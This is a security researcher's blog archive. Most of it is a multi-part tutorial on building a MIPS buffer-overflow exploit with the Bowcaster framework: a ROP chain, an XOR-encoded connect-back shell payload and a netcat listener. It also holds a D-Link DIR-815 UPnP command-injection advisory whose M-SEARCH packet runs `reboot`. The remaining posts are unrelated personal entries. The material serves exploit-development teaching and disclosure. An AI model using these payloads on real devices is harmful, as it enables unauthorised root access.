Monday, April 08, 2013

Crossbow is now Bowcaster

Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source, noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I left the original post as-is, save for an update note and a new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Here's the new Github project: https://github.com/zcutlip/bowcaster.git

I plan to update the existing tutorials accordingly, and hopefully get some new ones up in the next few days.

Thanks for your patience, and apologies the inconvenience.

Friday, March 29, 2013

Buffer Overflows with Bowcaster Part 3

This is the third part in a multi part tutorial on using the Bowcaster exploit development framework to build a buffer overflow exploit. Here are part 1 and part 2.

In the last part, we had built an exploit buffer and added a ROP chain that would flush the MIPS CPU cache, locate the stack (which is randomized), and return into it.  Now it's time to add a payload.

Bowcaster provides a few MIPS Linux payloads, and the one we'll use for this buffer overflow is the connect-back payload, which will yield an interactive shell.

In order to create a payload object, you must pass the constructor a ConnectbackHost object.  The host object is created from the IP address and TCP port you want your target to connect back to.  The "port=" parameter is optional and defaults to 8080.


from bowcaster.servers import ConnectbackHost

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080

Then you pass your host object to the constructor of the payload object:


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

In addition to the host object, the payload constructor requires an endianness parameter.

Payload objects have a shellcode attribute that you can use to create a string section.  Add the new string section to your list of replacement sections that will be passed into the OverflowBuffer constructor.  Here's an example, trimmed for brevity:



from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

section=SC.string_section(700,payload.shellcode,
            description="connect-back payload")
sections.append(section)
buf=OverflowBuffer(LittleEndian,1300,sections)


If you have a set of restricted bytes that you must avoid in your buffer overflow, you may want to use an encoder. You also will want to use an encoder if your connect-back address or port will contain nul bytes, such as 192.168.0.1. Bowcaster provides an XOR encoder that will attempt to encode your payload, sanitizing out your bad bytes.

Similar to normal payloads, encoded payloads have a shellcode attribute.  Below is the previous example, modified to encode the payload.


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

#XOR encode the payload.
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)
section=SC.string_section(700,encoded_payload.shellcode,
            description="encoded connect-back payload")
sections.append(section)

buf=OverflowBuffer(LittleEndian,1300,sections)


There are some important things to note about the encoder.  First, it only encodes your payload.  So if there are bad bytes in your ROP chain, there's nothing the encoder can do about that.  As I explained in the previous part, if you attempt to create a replacement section with SectionCreator that would have bad bytes, it'll let you know by raising an exception.  So at least there's that.

Also, the XOR encoder scans its decoder stub, which, of course, has to stay unencoded, for your bad bytes and will raise an exception if it fails that test.

Additionally, the XOR encoder takes an optional parameter, "key=", which needs to be a 4-byte integer.  If you provide this, the encoder will attempt to use that key to encode your payload.  If the key itself or the encoded payload contains any of your bad bytes, an exception is raised.  If you don't provide a key, it generates one randomly.  It will make a certain number of attempts[1] to generate a key and encode your payload without bad bytes.  If it exceeds the maximum number of attempts without a successful encode, an exception is raised.  This brute-force method is kind of a pain because it means sometimes the encode will be successful, other times it won't.  It may fail once, then succeed if you run it again.  Boo.  If you have just two or three bad bytes, the encode will almost always succeed. The more you have the less likely it will succeed.  Anyway, the encoder logs the key that it used.  If you find one that works, then save it and pass it to the constructor from then on to make sure your encode always works.

At this point you should have a complete, working buffer overflow exploit that will cause your target to connect back to the specified host and port.  You can accept the incoming connection with a traditional netcat listener:


zach@endor:/Volumes/Users/share/code/bowcaster (130) $ nc -l 8080
/bin/sh -i


BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

# cat /proc/version

Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#


In the next part, I'll show how to use one of the connect-back servers provided by Bowcaster in place of the netcat listener.

UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster
UPDATE 4/17/2013: Added explanation about payload and encoded payloads having a shellcode attribute.
--------------------
[1] I may make this tunable or self-tuning in the future. Not sure. Open to ideas on this.

Thursday, March 28, 2013

Buffer Overflows with Bowcaster Part 2

This is the second in a multi-part tutorial on developing a buffer overflow exploit using Bowcaster.  Here's Part 1.

In part 1, we had gotten a crash by sending a 2048-byte pattern to the vulnerable program.

The saved return address had been overwritten with 0x41367241 and restored to the $ra register.  That value is located at an offset of 528 in our overflow buffer.  Now we need to start describing ROP gadgets and substituting them for parts of the 2048-byte overflow string.

In order to start replacing parts of the overflow string, we need to create a list of replacement sections[1].  The easiest way to do that is to use the SectionCreator class.  This is essentially a factory that generates OverflowSection objects.

You need to know a couple of things in order to instantiate a SectionCreator object: the endianness (which we already identified as little endian), an optional base address of the library you want to ROP into, and an optional list of bad bytes.  If you provide the list of bad bytes, you'll get an exception if any of the overflow sections you create contain any of the restricted characters.

While the base address is an optional parameter to SectionCreator's constructor, I recommend providing the address of whatever library you're going to use most.  If you're using more than one library, you can override this setting at any time if to create a ROP object in another library.  Libc is often a good library to ROP into, and we can find its base address in /proc/<pid>/maps:

$ sudo cat /proc/6104/maps
00400000-00402000 r-xp 00000000 00:17 4833702    rootfs/vulnerable
00402000-00411000 ---p 00000000 00:00 0
00411000-00412000 rw-p 00001000 00:17 4833702    rootfs/vulnerable
...
4084a000-408a1000 r-xp 00000000 00:17 240427     rootfs/lib/libc.so.0
408a1000-408e1000 ---p 00000000 00:00 0
408e1000-408e2000 r--p 00057000 00:17 240427     rootfs/lib/libc.so.0
408e2000-408e3000 rw-p 00058000 00:17 240427     rootfs/lib/libc.so.0

The base address of libc is 0x4084a000.

The vulnerable function simply does a recv() into a buffer on the stack, so it doesn't actually have any restricted bytes.  But for the sake of example, we'll assume we can't use nul or space, 0x00, and 0x20, respectively.

A SectionCreator object is instantiated like so:


from bowcaster.overflow_development.overflowbuilder import SectionCreator

qemu_libc_base=0x4084a000
badchars=['\x00','\x20']
SC=SectionCreator(LittleEndian,base_address=qemu_libc_base,badchars=badchars)

Like I explained previously, we need to find the library addresses of our ROP gadgets manually or with other tools.  I use IDA Pro, but you can disassemble with objdump and do the same.

The first ROP gadget we need is a function epilogue that restores a bunch of the MIPS S registers from the stack.



The picture above is an epilogue at 0x31B44 in libc that restores $s0-$s7, plus $ra.  Who knows what this function is? Who cares?  IDA calls it sub_318DC.  Good enough.

We create a ROP gadget object for this address like so:


sections=[]
#function epilogue rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

The gadget_section() method takes a mandatory offset and and address value, and an optional description and optional base address.

The description is just a textual description of this overflow section.  It gets used in log output, exception messages etc, and helps you debug your exploit if things go wrong.  If you don't provide a description, a generic one gets generated.

This is where you can override the base address you specified earlier.  Say instead of a ROP gadget, you just want to put a placeholder on the stack that will avoid blowing up the program before the function returns.  Here you could provide the literal value to gadget_section() and override the base address with 0.  This value will get encoded with the proper endianness and placed in the buffer.

Keep adding to your list of sections, and then instantiate the OverflowBuffer object just like before, but this time pass the section is as the optional third parameter:


buf=OverflowBuffer(LittleEndian,2048,sections)

There are a couple of things to note about the OverflowBuffer class. First, when you create it with a list of sections, those sections replace portions of the filler pattern. The parts of the pattern that come before and after each section remain undisturbed so their offsets stay the same. Second, if any of the sections in your list overlap, OverflowBuffer will log an error message listing problem sections (this is where the optional description strings are useful), and it will raise an exception.

For example, I created a section of 8 "D"s at offset 500, and another section of 8 "A"s at offset 504.  They overlap by 4.  I got the following log output:

[!] Section "D's",
 offset: 500
 length: 8
 overlaps with the following sections:
[!] "A's overlapping with D's"
 offset: 504
 length: 8

With this gadget added, run your exploit once more and see what values get restored to the S registers and $ra. Like before, use find_offet() to figure out the offsets into your buffer where you'll need to place your gadgets such that they'll be loaded into the appropriate registers.

In order to get into the stack and start executing payload, we need a series of ROP gadgets that do the following:
  • Stage an argument to sleep() into $a0 (for data cache flushing; MIPS cache-coherency).
  • Return into libc's sleep()
  • Load some offset from $sp into an S register, thereby locating the stack.
  • Jump to the S register containing a stack address.
To give you a more complete picture of how to build your ROP chain, below is a listing of the gadgets I used for this exploit.


sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#Sleep arg 2 into $a0, stack data into $ra, then jalr $s0
section=SC.gadget_section(656,0x43880,
            description="[$a0] Set up 2 sec arg to sleep(), then jalr $s1")
sections.append(section)

#address of sleep
section=SC.gadget_section(620,0x506c0,
            description="Address of sleep() in libc. be sure to set up $ra and $a0 before calling.")
sections.append(section)

#placeholder address that can be dereferenced without crashing, this goes in $s2
section=SC.gadget_section(628,0x427a4,
            description="[$s2] placeholder, derefed without crashing.")
sections.append(section)

#stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6
section=SC.gadget_section(688,0x427a4,description="stackfinder.")
sections.append(section)

#stackjumber. jalr $s0
section=SC.gadget_section(644,0x1ffbc,description="[$s0] stackjumper")
sections.append(section)



Pass this list to the OverflowBuffer constructor to create a buffer overflow string containing your ROP chain.

In the next part, I'll describe adding a connect-back payload section to your buffer overflow string as well as how to use a payload encoder.

------------------------
[1] In a future tutorial I'll describe the use of the EmptyOverflowBuffer class.  Instead of taking a list of replacement sections, it starts out with 0 length, and you build it up by appending sections one at at time.


UPDATE 3/29/2013: Added syntax highlighting. Added import statement for SectionCreator.
UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster

Buffer Overflows with Bowcaster Part 1

This is the first in a multi-part tutorial on developing a buffer overflow exploit using Crossbow (now called Bowcaster), which I released earlier today.

For this tutorial I've written a simple program in C that overflows a buffer on the stack with whatever it reads from the network.  I cross-compiled it for MIPS Linux and ran it using QEMU chrooted into the unpacked filesystem of the Netgear WNDR3700v3 (Firmware 1.0.0.18).

The program, vulnerable.c contains the following function:


/*
 * vulnerable function.
 * reads up to 2048 off a socket onto a small buffer on the stack.
 */
int receive_data(int sockfd)
{
    int read_bytes;
    char buf[512];


    if(sockfd < 0)
    {
        return -1;
    }

    read_bytes=recv(sockfd,buf,2048,0);
    if(read_bytes < 0)
    {
        perror("recv");
    }else
    {
        printf("read %d bytes.\n",read_bytes);
    }

    return read_bytes;

}


This is a contrived example[1] but it should make it easier to focus on the mechanics of using Crossbow without getting bogged down in real-world complications.

The first module to know about when developing a buffer overflow is bowcaster.overflow_development.overflowbuilder.  This module contains classes that will be useful for building an overflow buffer.  There are two main classes to choose from when bulding your buffer, OverflowBuffer, and EmptyOverflowBuffer.  They each represent a different way of solving the same set of problems, and they each have their advantages.  For now, we'll use the first; OverflowBuffer.  I'll do a subsequent tutorial show how to use the second.

The OverflowBuffer class starts you out with a buffer of a specified length filled with a pattern string consisting of upper and lower alphabetic characters and numbers (to help with debugging).  One at a time, you can start replacing sections of that buffer with things like ROP gadgets or your payload.

Here's an example:


buf=OverflowBuffer(LittleEndian,2048)

Here we instantiate the OverflowBuffer object, passing it "LittleEndian" and the size of the buffer we want to create; 2048.

The LittleEndian object is a constant that OverflowBuffer will use whenever data encoding is endianness-sensitive.  It is imported and made available for use like so:


from bowcaster.common.support import LittleEndian

The OverflowBuffer object can be converted to a string and sent to the target:


sock.send(str(buf))


With a debugger attached to the vulnerable program we can witness our first crash, controlling the function's return address:


The $ra register contains 0x41367241.

OverflowBuffer provides a function, find_offset(), that takes a string or an integer and will locate that value in the overflow string.

I like to add an option to my exploit program that lets me provide a search string on the command line and find the offset.


if len(sys.argv) == 2:
    search_value=sys.argv[1]
    if search_value.startswith("0x"):
        value=int(search_value,16)
    offset=buf.find_offset(value)
    if(offset < 0):
        print "Couldn't find value %s in the overflow buffer." % search_value
    else:
        print "Found value %s at\noffset: %d" % (search_value,offset)
    exit(0)


When searching for 0x41367241, it is found 528 bytes from the start of the overflow buffer.

Found value 0x41367241 at
offset: 528

Now we can insert the first of a series of ROP gadgets at offset 528.

Controlling several S registers is important for staging ROP gadgets, but unfortunately this vulnerable function doesn't restore any S registers before returning.  We can only control the $ra register.  That means we need to return into a function epilogue that does restore several S registers.

While bowcaster doesn't provide the capability to search for ROP gadgets, this can be done in IDA Pro or using objdump from your compiler toolchain[2].

In the next part I'll cover how to describe your ROP gadgets and add them to your overflow using Crossbow.


------------------------
[1] Although, in the world of embedded MIPS Linux, not as contrived as one might think. :-/
[2] If anyone wants to contribute, a MIPS ROP finder that can be used independently of IDA would be super double awesome.


UPDATE 3/29/2013: Added syntax highlighting using https://github.com/Siarc/code2html.  Thanks for the tip, @0xKD.
UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster

Crossbow

UPDATE: Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I'm leaving this post as-is, save for the new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Thanks!
Zach

ORIGINAL POST:

I'm proud to announce the open source release of a project I've been working on since January called Crossbow.

Vulnerability research on embedded systems, particularly MIPS Linux systems, is an underserved area.  Other targets such as x86 desktop systems and ARM smartphones and tablets have a wealth of tools and techniques readily available to the researcher.  In the past year and a half as I've been doing more and more research on embedded devices and developing exploits for them, I've had to roll a bunch of my own code whenever I needed something that wasn't already available.  I began to realize that I should probably pull all these things together into a single project to help with exploit development.

Crossbow is that project.  Why "Crossbow"?  Mainly because I thought it sounded cool.  But also because I wanted the name to evoke the image of an offensive tool that is lightweight and uncomplicated.

At Tactical Network Solutions, we don't generally use the defacto standard Metasploit Framework for exploit development.  This is for a variety of reasons.  Among them is that we mostly code in Python.  The tools, libraries, frameworks, etc. that we've all developed internally are mostly in Python.  Plus, the vulnerability research community has really crystalized around Python as a research and development language, so there are a ton of external resources in that language.  Point is, we'd like to stick with Python if we can.

Also, MSF provides a whole lot that we don't need but not very much that we do need.  We wanted something useful but lightweight.  You can install Crossbow on your development system, or just stick it right in the source tree of your exploit code. Whatever. It's all good.

So this is the motivation behind Crossbow: Python code that eases the development of exploits, plays nice with our other stuff built in Python, and doesn't provide a ton of stuff we don't really need.

To be clear, Crossbow is to aid in the development of exploits.  It's not an exploitation framework or pen-test tool in and of itself.  I don't envision packaging actual exploit code with it.  Its purpose is to abstract some of the tedious details of exploit development such as encoders, payloads, building a ROP chain, etc.

I hope to post a few tutorials in the next few days on using Crossbow to develop exploits against embedded systems.

Please try it out and let me know what you think.  If you'd like to add features or fix bugs (and I really, REALLY hope you do), clone my repo and send me a pull request.

Cheers and keep up the hacking.

Check out Crossbow from github: https://github.com/zcutlip/crossbow.git

Check out Bowcaster from github: https://github.com/zcutlip/bowcaster.git

Sunday, February 10, 2013

Hacking is Bullshit

I love hacking.  I love vulnerability research.  I love software exploitation.  I love finding creative ways to subvert control of an application or system to make it do something it wasn't intended to do.

But this is research, and like any research, lots of things never pan out.  It's weird because it involves hours, often hundreds or even thousands of hours, of frustration paid off by successes that last only moments.  And the cycle repeats.

In order to develop an exploit we spend countless hours dissecting hardware and software looking for an oversight or misstep on the part of the developer.  We follow dead end paths, only to realize they're dead ends days or weeks in.  We often spend even more time wrestling with tools, trying to get them to work the way they should or to work together properly.  When there isn't a tool already available we spend hours developing one that will help answer an esoteric question or shine light in a dark crevice.

When nothing's going right and at the height of frustration, I'm known to mutter "hacking is bullshit" and walk out of the room.  My colleague, Craig, and I have now taken to calling arbitrary things "bullshit."  Usually hacking, but often computers, programming, people, or D-Link routers.

Yet, we are driven to hack.  We are driven to further the study of vulnerability research, to keep moving the ball down the field.  The exchange of hours of frustration for minutes of victory is worth it.  It's worth it because the next time we solve a similar problem, it takes a few hours rather than hundreds. It's worth it because the victory is amazing.  It's worth it because the euphoria is like nothing else.

It's worth it, but let's be clear: hacking is bullshit.

I wanted to capture the irony of the frustration-to-victory inequity of hacking, so I made a T-shirt on Zazzle called "Hacking is Bullshit."

Here are some pictures:



I made it for myself, but if you'd like one of your own, here's a link that sends me a little kickback for beer.

Cheers and keep up the hacking.  It's worth it.

Friday, February 01, 2013

DLink DIR-815 UPnP Command Injection

With all the excitement regarding UPnP vulnerabilities lately, I though I'd write up this one I found a few weeks back.  I had kind of forgotten about it.  But it's pretty straight forward, and kind of fun, so here it is.

In Tactical Network Solutions' Intro to Embedded Device Exploitation class, we use the D-Link DIR-815 for the practical exercises since there are tons of great 0-days for the students to find.  The last time we taught the class, I thought I'd try my hand at finding a new one. Twenty minutes in, voila! Command injection in a single multicast packet!

The DIR-815 has a single binary executable, /htdocs/cgibin, that is responsible for handling most, if not all, HTTP requests.  I found a symlink to cgibin called 'ssdpcgi':

zach@endor: dir-815-reva1/v1.00/squashfs-root/htdocs (0) $ ls -l upnp/ssdpcgi
lrwxrwxrwx 1 zach wheel 14 Jan  9 13:43 upnp/ssdpcgi -> /htdocs/cgibin

If we disassemble cgibin and look at ssdpcgi_main(), we see it executing a shell script called "/etc/scripts/upnp/M-SEARCH.sh".

IDA Screenshot: A shell script gets excecuted with the contents of the ST field as an argument.
A shell script gets excecuted with the contents of the ST field as an argument.
So let's look at M-SEARCH.sh:



The contents of the M-SEARCH packet get turned into shell arguments.  If we can get one of the arguments to be a string inside backticks, the string gets executed by system()'s 'sh -c' and its output gets handed to M-SEARCH.sh as arguments.

So what if we send an M-SEARCH packet with the ST: field containing the string `reboot`?

M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:uuid:`reboot`
MX:2
MAN:"ssdp:discover"

If we send that packet to the 239.255.255.250 multicast address, on UDP port 1900, our D-Link router reboots! Nice!

But rebooting routers is bullshit.  Root or it didn't happen, right?  Okay, no problem.  D-Link routers generally come with a telnet server onboard, so lets use the command injection to fire it up:

Getting root via command injection on the D-Link DIR-815 wireless router

Ownage in a single multicast packet.  Not bad for 20 minutes of strings analysis and a few lines of Python.


Here's some proof-of-concept python code to try out.

Thursday, November 29, 2012

UPDATED: Responsible (non)Disclosure

Update: I received a personal communication from Mr. Flemming.  He makes the case that what I believed to be a subtextual threat was not intended.  Not necessarily speaking for TNS, I am inclined to take him at his word and that my initial read of the situation may have been unduly skeptical.  I hope to post additional updates as things develop.  I'm leaving the original text of this post intact, though, as it provides meaningful context for the situation that is unfolding.

Original Post:
So here's something awesome.  And by "awesome" I mean "kinda shitty."

Back in August, having seen me on Hak5 talking about hacking Netgear WiFi routers at Black Hat, someone contacted me through my company's website asking if I'd be willing to help out with some hobbyist WiFi router hacking.  (As an aside, the company that I work for is Tactical Network Solutions.  We're a boutique computer security firm in the US, specializing in vulnerability research and advanced exploitation of network infrastructure and related embedded systems.)  The person, whom I'll call Will, told me he and others are trying to root their ISP-provided modem/routers so they can customize them and even use them with other ISPs.  Essentially they're wanting to jailbreak them.

I responded to Will that if he would ship me some actual hardware, I'd take a look in my free time, but no promises.  I wrote this off as something that happens when you get a few seconds in the Internet's spotlight, and figured I wouldn't hear from Will again.  To my surprise, Will shipped me a couple of routers to hack on, so I signed on to their forum and got caught up on their research to date.

I spent about six weeks, part time, poking at the router's firmware.  Expecting to find the sort of low hanging fruit we typically find in embedded gear, I thought this would be an easy win.  I was wrong.  I ended up taking an onion-like approach, investigating various aspects of the device in multiple passes gaining a deeper understanding with each pass.  I finally found an application that I could successfully crash, controlling the CPU's instruction pointer.  This was promising.  I was confident I could develop an exploit that would yield a root shell, and bring us closer to jailbreaking the device.

I posted an update about the crash to the forum.  What happened next was unexpected.  A couple of days later, I received an email directly from the ISP's retail head of security.  Mind you, this ISP operates communications infrastructure and sells services on multiple continents. This gentleman, whom I'll call "Mr. Flemming," reports to the corporation's board and CEO.  My research had caught the attention of this vendor in no small way.

Mr. Flemming expressed concern that the vulnerability I had discovered would impact their customers' security and asked me not to disclose it publicly.  Rather, I should share the details of the crash with his technical team so they could fix it.  Reasonable, right?

At this point, I should point out that at TNS, we've never before been contacted by a vendor regarding our research.  I know readers will attribute various motives to this vendor for wanting to prevent this bug's public disclosure.  I'll just say this is a large company whose motivations are complex.  I'm sure many possible motives are factors in their decision process.

"Well, this is interesting," I said to our managing partners.  They agreed.  While Mr. Flemming's message was amicable in tone, the subtext was clear: "We've been watching you. We know who you are.  Mr. McGee, you wouldn't like us when we're angry."  One of the partners promptly responded to Mr. Flemming's request, via email.  The conversation spanned a couple of weeks and several messages.  It went something like the following:

Us: We'll provide you with priority access to our research for no charge, with the following terms:
    -We plan to release a proof-of-concept exploit after 30 days
    -We want to publish papers and present our research at conferences such as Black Hat.

Them: We want 90 days before public disclosure, and we want veto power over anything you want to publish.

(At this point we looked at each other and said: "Wait...what?  We're offering our research to them for no charge, and they're not happy with the terms?")

Us: How about if you reimburse us for our time--we're not trying to profit--and we'll work with you on a longer release window.  We reserve the right to publish our findings, though.

Them: We don't pay for research we don't commission.  Sorry.  Also we'd really like you to let us review in advance (i.e., veto?) anything you plan to publish.

So that's where we stand.  It's frustrating.  While vulnerability research is still a nascent field where the legal ramifications are untested, this doesn't seem like a completely original problem.  I know we're not the only ones forging this path.

Tuesday, October 23, 2012

Specifying Preferred Load Addresses for ELF Shared Libraries

[NOTE: This was going to be a post about how to relocate a shared library that is loaded using LD_PRELOAD such that a program's linked libraries get loaded at their normal addresses.  Sadly, the trick I thought would do that didn't actually work for me.  The library got relocated, but the other libraries weren't restored to their natural base addresses.  That said, it still is interesting and worth writing up.]

I'm currently developing a buffer overflow exploit for an application that runs on an embedded device.  I don't have console access to the live device--in fact the main goal for this exploit is to get an interactive shell so that I can do more analysis.  Since I don't have console access, I have to debug the application and the exploit entirely in the QEMU emulator.

I have to use several ROP gadgets in my exploit, so I need to test and develop with the libraries containing the gadgets loaded at their normal addresses.  Hence, I'm using QEMU full system emulation running Debian MIPS. QEMU binary emulation won't load the application's libraries in the right location.

There's a hitch, however.  The emulated system doesn't provide the same hardware that the target device has, so I have to convince the target application it has the right environment.  One of the many tricks required is to intercept NVRAM queries and provide the right answers.  In order to do this, I wrote an NVRAM faker library and LD_PRELOAD it when I run the target application.

Did I say there's a hitch? Actually there are a bunch of hitches.  Another problem is that when you LD_PRELOAD a library, it gets loaded before the application's other libraries.  As a result, the load addresses are all off from where they would normally be.  Since the whole point here is to run the application with the libraries loaded at the proper addresses, this won't work.

Here's a look at the application's memory layout without LD_PRELOAD:



Above, you see libc (specifically libc's text segment) loaded at 0x2aaf9000.

If we run the program, using LD_PRELOAD to load the nvram library:
export LD_PRELOAD=/mylib/libnvram-faker.so,
the load addresses change.

Here's another look at the program's memory maps, this time with libnvram-faker.so preloaded:


Here, you can see libnvram-faker.so mapped right after the dynamic loader itself, at 0x2aabe000.  This has shifted everything down, and libc is now loaded at 0x2ab3a000.

However, the linker, GNU ld, has an option to specify a preferred address for the text segment.  If we give GCC the option, '-Wl,-Ttext-segment=', it will pass that option on to the linker.

There are a couple of things to note about the address you specify.  First, the address needs to be a multiple of the maximum page size, generally 4K, or 0x1000.  Second, this address is going to be an offset from where the dynamic linker would normally load your library.  Since that is generally right after the linker's load address, you can subtract that address from your desired address, rounding up to the nearest page, to get the offset.

0x2abee000 - 0x2aabe000 = 0x13000

So we tell gcc: -Wl,Ttext-segment=0x13000.

Now with the new version of the library loaded, let's look at the memory map for our application:




We see libnvram-faker now located at higher addresses than all the other libraries: at 0x2abee000.  So specifying a preferred load address for the text segment had the desired effect.  Sadly (for my specific issue) this didn't result in the other libraries being restored to their original base addresses.

This is, of course, if your linker knows about the Ttext-segment linker script.  I found that some older versions of GNU ld did not.  You may be constrained to an older toolchain in order to be compatible with your target system.  To quote the (in)famous Cormen algorithms text: "this problem is left as an exercise for the reader."


Tuesday, June 12, 2012

Parsing Email and Fixing Timestamps in Python

I decided to POP out all my Yahoo mail into my Google Apps account so I could stop paying for Yahoo's "premium" service (WTF, it's 2012, and POP is a paid feature--and there's no IMAP?).  I have fetchmail then download all of my messages which get post-processed by procmail and re-served by dovecot.  Since a bunch of really old messages were just downloaded by fetchmail, they appeared to be "new" from dovecot's perspective.  This is because the name of the message files stored in the Maildir format used by dovecot starts with a number representing when the messages were downloaded.  So years-old messages that were just downloaded will have a very recent timestamp encoded in their filenames.

The file names look like this:

1339506150.22834_0.hoth:2,Sb
1339506889.22952_0.hoth:2,Sb
1339507621.23058_0.hoth:2,Sb
1339509572.27344_0.hoth:2,Sb
1339510487.386_0.hoth:2,Sb

To fix this, I wrote a little python program to parse out the dates the messages were originally received, and rename the message files.  It also updates the file system's atime and mtime timestamps.  Since several new "Received" headers were attached to the message when Google POPed the messages from Yahoo, and then when fetchmail downloaded them from Google, I needed to figure out which ones to disregard.  I decided to compare the date the message was originally sent to each of the Received: dates, and use the most recent Received: header that was no more than 24 hours after the message was sent.

I made a backup of ~/Maildir/cur/ first.
You can loop over the message files like this:

$ for file in $(ls -1); do ~/bin/timestamp.py $file; done

I'm not really sure what the implications are for dovecot while mucking around in ~/Maildir, so I stopped that, and also fetchmail while doing it.

Here's the script.  Use at your own risk:




Friday, December 16, 2011

Long-form Reading 2011

Here are some long-form articles I've enjoyed this year.

The Hazards of Nerd Supremacy: The Case of Wikileaks (theatlantic.com)

The Octopus Conspiracy: One Woman's Search for Her Father's Killer (wired.com)

Confessions of a Prep School College Counselor (theatlantic.com)

The Great Rubber Robbery: How Julius Fromm's Condom Empire Fell to the Nazis (berlinbooks.org)

Bursting the Bubble (about David Vetter, the "Bubble Boy", houstonpress.com)

The Stutterer: How He Makes His Voice Heard (slate.com)

The Day The Movies Died (gq.com)

Man vs. Machine on Wall Street: How Computers Beat the Market (theatlantic.com)

Authorities in Awe of Drug Runner's Jungle Build, Kevlar-Coated Supersubs (wired.com)

Kiki Kannibal: The Girl Who Played With Fire (rollingstone.com)

The Battle for Tora Bora (tnr.com)

The Humility Imperative: CEOs Keep Your Arrogance in Check (inc.com)

How to Land Your Kid in Therapy (theatlantic.com)

How One Man Hacked His Way Into the Slot-Machine Industry (wired.com)

Cyber Weapons: The New Arms Race (businessweek.com)

Don't Be Evil (on google's narrowly conceived, yet handicapping motto, tnr.com)

A Few Too Many: Is there any hope for the hung over? (newyorker.com)

The Man With the $16 House (dallasobserver.com)

The Wrestler in Real Life (on Ric Flair's long decline, grantland.com)

Enter the Cyber-dragon (on how China is operating with impunity on America's defense and commercial computer networks, vanityfair.com)

Apple's Supply Chain Secret? Hoard Lasers (business week.com)

50 Years of Stupid Grammar Advice (thechronicle.com)

The Rise and Fall of the Columbia House Record Club -- and How We learned to Steal Music (thephoenix.com)

How a Financial Pro Lost His House (nytimes.com)

When Did the GOP Lose Touch With Reality? (nymag.com)

What is Sony Now? (businessweek.com)

The Pest Who Shames Companies Into Fixing Security Flaws (wired.com)



Thanks to Marco Arment's excellent Instapaper  service and iOS app for helping find and keep track of excellent reading material on the web.

Tuesday, December 13, 2011

Reading List 2011

I was using up all of my accumulated credits on Audible.com just now, and realized I've listened to several great audiobooks over the last year. Here's a list of what I've listened to in 2011, along with a link to the book on Audible.com. I recommend them all.

Judas Unchained, Peter F. Hamilton, Part 2 of the Commonwealth Saga (link)
The Gun, C. J. Chivers (link)
The Windup Girl, Paolo Bacigalupi (link)
Snow Crash, Neal Stephenson (link)
Embassytown, China Mieville (link)
Pattern Recognition, William Gibson (link)
Spook Country, William Gibson (link)
Zero History, William Gibson (link)

I'm pretty excited about my reading list for 2012 (and likely beyond--I had 12 credits to use), which I will share soon.

Sunday, November 13, 2011

Multi-page Javascript Bookmarklet

[Disclaimer: I don't know crap about javascript, other than what I pieced together from the 'tubes.]
I read something somewhere (I don't remember where) about having a bookmarklet that automatically opens your favorite sites, each in their own tab, when you click on it. I wanted to set up my own, but the article didn't explain how to do it (just suggested it as an idea). It's actually pretty easy.  Below is commented code:

javascript:(function(){
  /* save a reference to the current window */
  oldWin=window;
  
  /*
   * Replace the current window's or tab's website with this one.
   * If you just want additional windows (or tabs) opened
   * skip this.
   */
  location.href='https://mail.google.com';
  
  /* Each additional window/tab you want opened */
  window.open('https://voice.google.com');
  window.open('http://www.accuweather.com');
   
  /* restore focus to the original tab, since each
   * new window gets focus
   */
  oldWin.focus();
})();

Paste this entire javascript fragment in as the address for your bookmark. It may be easier to bookmark an arbitrary page, then edit that bookmark's title and address.

Friday, November 04, 2011

On the Mac App Store and Sandbox Restrictions

Update: My friend, Chad, creator of Pear Note, has an interesting perspective that is much more in-depth than what I have written. While I don't agree with his conclusion, he is a successful full-time Mac developer where I have no Mac development experience. Also Chad has more SELinux background that I do.

There has been a lot of gnashing of teeth lately over Apple's forthcoming Sandbox restrictions on software sold through the Mac App Store. In the near future, applications sold through the Mac App Store will be confined by very restrictive security policies. These security policies will make it impossible for applications to do many of the things we are accustomed to applications being able to do, such as interact with other applications. Some have described this change, pejoratively, as the "iOS-ification" of the Mac. I think these people miss some important points.

